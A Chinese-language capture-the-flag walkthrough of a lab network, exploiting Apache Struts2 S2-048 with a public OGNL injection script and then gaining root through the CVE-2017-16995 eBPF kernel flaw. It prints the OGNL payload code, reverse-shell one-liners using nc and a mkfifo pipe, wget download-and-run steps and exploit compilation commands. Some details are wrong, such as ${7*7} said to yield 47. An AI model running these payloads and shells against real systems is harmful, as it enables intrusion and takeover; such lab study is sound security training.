Apache Struts 是一个开源的 Web 应用框架,最初由 Apache 软件基金会开发。它基于 MVC(模型-视图-控制器)架构,用于构建企业级的 Java Web 应用程序。Struts 提供了一套完整的解决方案,帮助开发人员简化 Web 应用的开发和维护工作。
主要特点:
- MVC 架构:
- 模型(Model):通常是业务逻辑层和数据层,表示应用的核心数据。
- 视图(View):负责呈现用户界面,可以是 JSP 页面(Java Server Pages)、HTML 或其他前端技术。
- 控制器(Controller):处理用户请求,决定使用哪个模型和视图来响应请求。Struts 的核心部分就是控制器,它是通过 ActionServlet 来实现的。
- 基于配置的开发:
- Struts 强调通过 XML 配置文件来定义请求和视图之间的映射关系。例如,struts-config.xml 文件用于配置应用程序的控制器、动作、视图和其他组件。
- 表单处理:
- Struts 提供了便捷的表单处理机制,可以自动将 HTTP 请求的参数映射到 Java 对象(如表单对象),简化了表单提交和数据验证的工作。
- 国际化:
- Struts 提供了内建的国际化支持,帮助开发人员轻松实现多语言支持。
- 扩展性和插件支持:
- Struts 是高度可扩展的,支持通过插件机制添加自定义功能。例如,开发者可以创建自定义的拦截器、标签库等。
Struts 版本:
- Struts 1.x:最初的版本,采用传统的 Servlet/JSP 技术。随着时间的推移,开发者转向了更现代的框架,如 Spring 和 JSF,导致 Struts 1 的使用逐渐减少。
- Struts 2.x:经过重构的版本,结合了 WebWork(另一个开源框架)的优势,提供了更灵活和更易用的功能,如更好的拦截器机制、POJO 支持和注解配置等。Struts 2 支持更多的企业级功能,并且与 Spring、Hibernate 等框架集成更为顺畅。
使用场景:
Struts 主要用于开发大型的、复杂的企业级 Web 应用程序,尤其是需要基于 MVC 架构的应用。在很多传统的 Java Web 项目中,Struts 仍然是一个常见的选择。
安全性注意事项:
由于 Struts 在过去曾经暴露过多个安全漏洞(如 CVE-2017-5638),因此在使用 Struts 构建应用程序时,必须定
期更新到最新版本,并且配置好安全措施,防止攻击者通过远程代码执行(RCE)等方式攻击应用。
9,检索该版本相关的公开漏洞利用信息(公开的漏洞网站 Apache Struts 2.3.x Showcase - Remote Code Execution - Multiple webapps Exploit)
searchsploit struts | grep "Remote"
Apache Struts2 漏洞(CVE-2017-9791)exp分析
这个漏洞与 Apache Struts2 框架的 OGNL(Object-Graph Navigation Language)表达式语言的处理方式有关,攻击者可以通过构造特定的 payload 在目标服务器上执行任意命令。
分析脚本的结构
- 导入请求库
import requests
脚本使用 requests 库来发送 HTTP 请求,主要用于向目标服务器发送带有恶意 payload 的 POST 请求。 - exploit 函数
def exploit(url, cmd):
print("[+] command: %s" % cmd)
payload = "%{"
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionCon"
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwor"
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd
payload += "}"
这个 exploit 函数生成了一个恶意的 payload,它通过 OGNL 表达式绕过 Struts2 中的安全机制,执行传递给 cmd 的命令。具体来说:- 使用 OGNL 表达式修改默认成员访问权限(#dm),从而允许执行一些本不应该允许的操作。
- 设置目标容器对象的成员访问权限,进而使用 Runtime.getRuntime().exec 方法执行一个 shell 命令(cmd)。
- cmd 参数是从外部传递的命令字符串,用户可以传递任意命令(如启动反向 shell)。
- 构造请求的数据
data = {
"name": payload,
"age": 20,
"__checkbox_bustedBefore": "true",
"description": 1
}
这里,payload 被作为一个名为 name 的字段传递,其他字段是表单的普通数据,通常没有特别的作用。 - 设置请求头
headers = {
'Referer': 'http://127.0.0.1:8080/2.3.15.1-showcase/integration/'
}
设置了一个 Referer 请求头,它指定了目标服务器的参考来源地址,可能是为了绕过一些简单的防护措施或检测。 - 发送 POST 请求
requests.post(url, data=data, headers=headers)
使用 requests.post 方法将构造好的 payload 和数据以 POST 请求方式发送到目标服务器的 URL。目标服务器如果存在该漏洞,就会触发 OGNL 表达式,从而执行传递的命令。 - 命令行参数
if len(sys.argv) != 3:
print("python %s <url> <cmd>" % sys.argv[0])
sys.exit(0)
url = sys.argv[1]
cmd = sys.argv[2]
脚本要求用户提供两个命令行参数:- url:目标服务器的 URL。
- cmd:要在目标服务器上执行的命令,通常用于启动反向 shell。
- 启动反向 shell 在脚本末尾,注释掉的部分展示了如何通过命令 ncat 启动反向 shell:
# $ ncat -v -l -p 4444 &
# $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase "ncat -e /bin/bash 127.0.0.1 4444"
这将尝试在目标服务器上执行命令 ncat -e /bin/bash 127.0.0.1 4444,通过 ncat 启动反向 shell,连接到本地机器的 4444 端口。
潜在安全影响
- 命令执行:由于利用了 Struts2 中的 OGNL 表达式漏洞,攻击者可以通过这种方式在目标服务器上执行任意命令。
- 远程代码执行:攻击者可以通过这个漏洞在受害服务器上执行任意命令,包括启动反向 shell、上传恶意文件或操控服务器。
漏洞存在网页:http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action
漏洞验证效果:输入${7*7},结果直接计算出47
10,下载exp,阅读exp的使用方法
searchsploit -m 42324.py
在代码最后两段注释可以知道使用方法
11,再通过socat设置一个端口转发,使kali的1234端口能够接受内网靶机发送的shell
socat TCP4-LISTEN:1234,reuseaddr,fork TCP4:192.168.31.250:1234 &
python 42324.py http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "nc -e /bin/bash 192.168.56.61 1234"
发现目标服务器不支持nc -e直接使用命令
python 42324.py http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "nc 192.168.56.61 1234"
只能使用管道符反弹shell,将给语句写入shell.sh
echo "rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.61 1234 >/tmp/f" > shell.sh
远程执行命令操控内网靶机下载shell.sh
python 42324.py http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.56.61:1234/shell.sh -O /tmp/shell.sh"
与此同时,攻击机要开启python http模块的服务
12,RCE由此命令执行在靶机上给shell.sh文件执行权限
python 42324.py http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod 777 /tmp/shell.sh"
然后执行shell.sh脚本
python 42324.py http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/shell.sh"
与此同时需要打开kali linux对1234端口的监听接收shell
13,没有python的运行环境,无法启动一个可交互shell
然后再做信息收集,查看内核,操作系统,设备信息
cat /etc/lsb-release
uname -a
14,在kali攻击机上搜索有无这个linux版本的漏洞
searchsploit ubuntu 16.04
精简一下搜索内容 searchsploit ubuntu 16.04 |grep "Local"
脚本是CVE-2017-16995的公开exp
CVE-2017-16995 漏洞综合分析
1. 漏洞概述
CVE-2017-16995 是 Linux 内核中的一个本地提权漏洞,主要影响基于 eBPF(扩展伯克利包过滤器) 的系统。该漏洞允许低权限用户通过构造恶意 BPF 程序绕过内核验证机制,触发内存读写错误,最终获取 root 权限10。
2. 影响范围
- 操作系统:Ubuntu 16.04.1 至 16.04.4(官方当时未发布稳定版修复补丁)10。
- 内核版本:Linux 内核中启用 eBPF 的版本(2017年及之前的版本)10。
3. 漏洞原理
- 技术背景:
eBPF 是一种用于内核态的高效数据包过滤和事件处理机制。漏洞源于 eBPF 验证器模块在处理恶意 BPF 程序时未能正确校验计算逻辑,导致攻击者可操控内核内存,实现任意地址读写。 - 利用条件:
攻击者需具备本地普通用户权限,通过编译并执行恶意代码触发漏洞10。
4. 漏洞复现与验证
- 环境准备:
- 受影响的 Ubuntu 系统(如 16.04.3)。
- 上传漏洞利用工具(如 upstream44.c)至用户目录。
- 编译与执行:
gcc -o upstream upstream44.c # 编译生成可执行文件
./upstream # 执行提权操作 - 验证提权:
- 使用 whoami 确认当前用户变为 root。
- 检查敏感文件权限(如 /etc/shadow)是否可访问10。
5. 漏洞修复与缓解
- 官方补丁:
后续 Linux 内核版本已修复该漏洞,建议升级至最新内核。 - 临时缓解措施:
- 限制非特权用户执行 eBPF 程序(需修改内核参数)。
- 监控系统日志中异常进程活动10。
6. 关联风险
- 横向移动:攻击者可结合其他漏洞(如 Struts2 RCE)获取初始访问权限,再通过此漏洞提权。
- 持久化威胁:提权后可能植入后门、窃取敏感数据或进行横向渗透。
总结
CVE-2017-16995 暴露了 Linux 内核在 eBPF 模块设计中的安全缺陷,对未及时修补的系统构成严重威胁。建议用户及时更新内核版本,并限制低权限用户对敏感内核功能的访问。对于渗透测试人员,该漏洞是本地提权研究的重要案例,但需遵循合法授权原则。
15,考虑到靶场可能没有gcc编译器,所以就预先在kali上将exp编译好
然后kali使用python开启http服务
被控的内网靶机必须先进入到/tmp目录,再通过wget方式下载44298可执行文件
wget http://192.168.56.61:1234/44298.c
给权限执行,发现解释器的版本过低无法解释kali-linux-2024 gcc编译器编译的语言
这个错误表明你的系统中安装的 glibc(GNU C Library)版本低于程序所需的版本。具体来说,程序 ./44298 需要 GLIBC_2.34,但是系统中没有找到该版本。
解决方案:
ldd 输出显示你当前的系统使用的是 glibc 版本 2.23。这个版本的 glibc 是比较旧的(发布于 2016 年),因此它支持的 GCC 编译器版本通常也会受到一定限制。
对应的 GCC 版本
根据 glibc 2.23 的发布时间,它通常与以下版本的 GCC 兼容:
- GCC 4.9.x 和 5.x:glibc 2.23 是发布于 2016 年的版本,而 GCC 4.9 和 5.x 在 2016 年时是相对常见的版本,并且与 glibc 2.23 很好地兼容。很多旧版 Linux 发行版仍然使用这一组合。
- GCC 6.x 和 7.x:虽然 glibc 2.23 可以与较新的 GCC 版本(如 6.x 和 7.x)兼容,但有时在编译时可能会出现与库的兼容性问题或警告,尤其是在一些更复杂的编译设置中。在正常使用情况下,它通常是可行的。
- GCC 8.x 和更高版本:从 GCC 8.x 开始,编译器可能需要更高版本的 glibc,尤其是涉及一些新的标准库特性或优化时,glibc 2.23 可能不完全支持某些新特性。例如,GCC 8 会引入一些更高版本的标准支持和优化,可能与较旧版本的 glibc 存在某些兼容性问题。
glibc 2.23 与 GCC 的兼容性建议
- GCC 4.9.x 到 7.x:这是 glibc 2.23 的理想匹配版本。你应该避免使用比 GCC 8 或更高版本的编译器,除非你可以确保解决所有相关的兼容性问题。
- 对于 GCC 8 及以上:如果你必须使用 GCC 8 或更高版本,建议更新 glibc 到至少 2.27 或更高版本。这是因为较新的 GCC 版本会依赖于更现代的 glibc 特性。
安装合适版本的 GCC
如果你希望安装适合 glibc 2.23 的 GCC,可以使用以下步骤:
- 查看当前 GCC 版本:
gcc --version - 安装较低版本的 GCC: 如果你需要安装 gcc-7 或 gcc-6,你可以使用包管理器安装(以 Ubuntu 为例):
sudo apt update
sudo apt install gcc-7 g++-7 - 设置默认 GCC 版本: 如果安装了多个版本的 gcc,你可以使用 update-alternatives 来切换默认版本:
sudo update-alternatives --config gcc
sudo update-alternatives --config g++
实际解决方案:
1,kali开启http服务使straylight能够下载到44298.c
2,straylight的gcc版本足够低,gcc编译44298.c为44298可执行文件
3,将44298 move到192.168.56.61的/var/www/html目录下
4,在Neuromancer上通过wget从192.168.56.61的网站根路径下下载44298.c
5,最终成为root用户,成功拿到flag